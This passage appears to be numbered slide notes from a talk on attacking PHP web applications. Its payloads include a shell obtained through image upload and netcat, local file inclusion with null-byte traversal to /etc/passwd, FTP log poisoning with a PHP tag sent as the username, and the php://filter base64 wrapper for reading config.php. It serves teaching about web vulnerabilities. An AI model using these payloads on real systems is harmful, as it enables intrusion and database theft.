22. Some servers will execute .php.jpg as a php file – depends on configuration and version(?)
23. You can embed code in image metadata and PHP will still recognise it as a valid image, no matter what the extension.
24.
25. We can run netcat locally and wait for the connection.
26. We now have shell access. But we're only running as the apache user... but we can now easily extract all of the data from the database, search the server for other files, and look to see what software is running that'll allow us to escalate permissions.
27. There's plenty of information out there with databases of exploits (for example, http://www.exploit-db.com)
28.
29. Use local file inclusion to execute the code good example: require $_GET[“file”].”.php”;
30. But what about the .php? Surely that'll only open php files?
31. Using a null character strips off the end, for example: index.php?file=../../../../../../../../../../etc/passwd%00
32. But.. we need to get our code onto the machine first...
36. We can cycle through /proc/self/fd/[x] as one might be a symlink to our logs
37.
38. The handshake messages from the server will give us a clue to the location of the logs Status: Resolving address of www.mikeefranklin.co.uk Status: Connecting to 65.49.60.84:21... Status: Connection established, waiting for welcome message... Response: 220 (vsFTPd 2.2.2) Command: USER <?php phpinfo(); ?> -> logs likely to be at /var/log/vsftpd.log
42. ..but we cant use LFI to read the database config, because the PHP get will executed.. … but we can use the php filter wrapper to help read it. index.php?file=php://filter/convert.base64-encode/resource=config.php This will output the file base64 encoded, which we can then decode.
43. If SQL injection is available, we can use it to retrieve the database path
44.
45. Now we can call.. index.php?file=../../../../../../../../tmp/myfile%00